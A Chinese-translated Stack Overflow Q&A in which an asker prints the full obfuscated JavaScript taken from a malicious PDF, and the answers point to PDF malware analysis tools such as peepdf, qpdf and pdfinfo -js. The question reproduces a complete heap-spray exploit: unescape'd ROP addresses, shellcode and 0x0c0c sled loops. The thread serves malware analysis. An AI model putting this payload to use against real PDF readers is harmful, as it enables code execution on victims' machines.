从恶意PDF中提取JavaScript

时间:2012-04-19 01:37:47

标签: javascript pdf malware

我有一个PDF文件,我知道一个事实包含一个JavaScript脚本文件,它做了一些恶意的事情,而不是真正确定这一点。

我已经成功解压缩了PDF文件并获得了明文JavaScript源代码,但是代码本身如果隐藏在我以前没见过的这种语法中。

代码示例:这是大多数代码的样子

var bDWXfJFLrOqFuydrq = unescape;
var QgFjJUluesCrSffrcwUwOMzImQinvbkaPVQwgCqYCEGYGkaGqery = bDWXfJFLrOqFuydrq( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692....')

我认为这种带有长变量/函数名称和隐藏文本字符的符号会混淆那些寻找这类事物的扫描程序。

两个问题:

问题1

有人可以通过%u4141告诉我这叫什么吗?

问题2

是否有一些工具可以将该符号转换为明文,以便我可以看到它在做什么?

完整的JS代码:

var B = unescape('%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uadba%u8e19%uda62%ud9cb%u2474%u58f4%uc931%u49b1%u5031%u8314%ufce8%u5003%u4f10%u72ec%u068a%u8b0f%u784b%u6e99%uaa7a%ufbfd%u7a2f%ua975%uf1c3%u5adb%u7757%u6df4%u3dd0%u4322%uf0e1%u0fea%u9321%u4d96%u7376%u9da6%u728b%uc0ef%u2664%u8fb8%ud6d7%ud2cd%ud7eb%u5901%uaf53%u9e24%u0520%ucf26%u1299%uf760%u7c92%u0651%u9f76%u41ad%u6bf3%u5045%ua2d5%u62a6%u6819%u4a99%u7194%u6ddd%u0447%u8e15%u1efa%uecee%uab20%u57f3%u0ba2%u66d0%ucd67%u6593%u9acc%u69fc%u4fd3%u9577%u6e58%u1f58%u541a%u7b7c%uf5f8%u2125%u0aaf%u8d35%uae10%u3c3d%uc844%u291f%ue6a9%ua99f%u71a5%u9bd3%u296a%u907b%uf7e3%ud77c%u4fd9%u2612%uafe2%ued3a%uffb6%uc454%u94b6%ue9a4%u3a62%u45f5%ufadd%u25a5%u928d%ua9af%u82f2%u63cf%u289b%ue435%u0464%ufd34%u560c%ue837%udf7f%u78d1%u8990%u154a%u9009%u8401%u0fd6%u866c%ua35d%u4990%uce96%u3e82%u8556%ue9f9%u3069%u1597%ubefc%u413e%ubc68%ua567%u3f37%ubd42%ud5fe%uaa2d%u39fe%u2aae%u53a9%u42ae%u070d%u77fd%u9252%u2b91%u1cc7%u98c0%u7440%uc7ee%udba7%u2211%u2036%u0bc4%u50bc%u7862%u417c');

var C = unescape("%"+"u"+"0"+"c"+"0"+"c"+"%u"+"0"+"c"+"0"+"c");

while (C.length + 20 + 8 < 65536) C+=C;

D = C.substring(0, (0x0c0c-0x24)/2);

D += B;
D += C;
E = D.substring(0, 65536/2);
while(E.length < 0x80000) E += E;
F = E.substring(0, 0x80000 - (0x1020-0x08) / 2);
var G = new Array();
for (H=0;H<0x1f0;H++) G[H]=F+"s";​

2 个答案:

答案 0 :(得分:15)

看起来您已经从PDF中提取了JavaScript。您的问题似乎与分析此JavaScript的有关。

由于这个主题(在无害的PDF文件中混淆和隐藏恶意JavaScript代码)似乎越来越受恶意软件作者的欢迎,让我列出一些工具和网站,这些工具和网站可以帮助任何初学者解剖这个问题。威胁类型:

  1. Didier Stevens' PDF-Tools
  2. Part 1 (of many) of Didier Stevens' PDF Malware Screencasts(在YouTube上)
  3. Jay Berkenbilt's QPDF:实用程序,用于保存内容的PDF转换(用于解压缩PDF中所有/大多数压缩对象的实用命令:
    qpdf --qdf original.pdf unpacked.pdf
    然后在文本编辑器中打开unpacked.pdf)
  4. Julia Wolf's presentation about PDF malware obfuscation
  5. peepdf:用于探索PDF的Python工具(了解它们是否是恶意的)
  6. PDFTricks:一个(非详尽的)PDF源代码混淆方法列表
  7. Wepawet:在线资源到analayse PDF / Javascript / Flash文件(生成报告)
  8. Origami-PDF:用于分析和生成恶意PDF的Ruby工具
  9. (......此处未列出的更多资源......)
  10. 我不知道你是如何解析你在问题中提供的Javascript片段。但是,无论如何,不​​要依赖于在PDF中找到所有 JS代码 - 除非您是知道在哪里寻找以及如何发现所有可能的混淆的PDF专家。 (我建议你在你的源PDF中应用3号工具,根据第6号中的tipp看看生成的PDF ...其他工具可能需要更多的PDF语法学习才能真正使它们变得有用给你。)


    更新

    这是我(近3年)旧答案的更新。值得一提的是:

    1. pdfinfo -js pdfinfo的最新版本(基于Poppler!而非基于XPDF)(以v0.25.0开头)已发布2013年12月11日)现在知道-js命令行参数,该参数打印出嵌入在PDF文件中的JavaScript代码。

      即使在许多情况下,PDF源代码中的/JavaScript名称也会使用(正式合法的)PDF名称构造(例如/4Aavascript/J#61v#61script或类似名称)进行模糊处理。 / p>

      不幸的是,pdfinfo的这个奇妙的功能增加仍然知之甚少。请分享!

    2. 更新2

      另一个更新,因为上面提到的 peepdf 工具最近添加了 extract 子命令:

      1. peepdf.js :这是一个基于Python的命令行工具,可以分析PDF文件。它是由Jose Miguel Esparza开发的,主要是为了“找出文件是否有害”,但对于PDF文件结构的一般探索也非常有用。

        安装和使用:

        1. 克隆GitHub存储库:
          git clone https://github.com/jesparza/peepdf git.peepdf 即可。
        2. peepdf.py脚本创建一个符号链接,并将其放在$PATH的某处: 的 cd git.clone ;
          ln -s $(pwd)/peepdf.py ${HOME}/bin/peepdf.py
        3. 以交互模式运行,打开PDF文件:
          peepdf.py -fil my.pdf
        4. 使用 extract js > all-js-in-my.pdf 命令将my.pdf中包含的所有JavaScript解压缩并重定向到文件中。这由以下屏幕截图描述:

答案 1 :(得分:1)

那些可能是内存地址,操作系统调用,堆喷涂,任何东西。

线索是被调用的函数是unescape。要获得您想要unescape该文本的实际值。有一些用于取消文本内容的在线工具,例如http://www.web-code.org/coding-tools/javascript-escape-unescape-converter-tool.html

结果很可能是ASCII中的垃圾,但您可以尝试将其插入到十六进制编辑器中,看看是否可以更好地理解它。如果病毒扫描程序可以识别该文件的感染源,那么您可以对该特定恶意软件进行更多研究并找出该代码正在执行的操作。

为了科学,启动Windows VM,运行它,看看它做了什么:)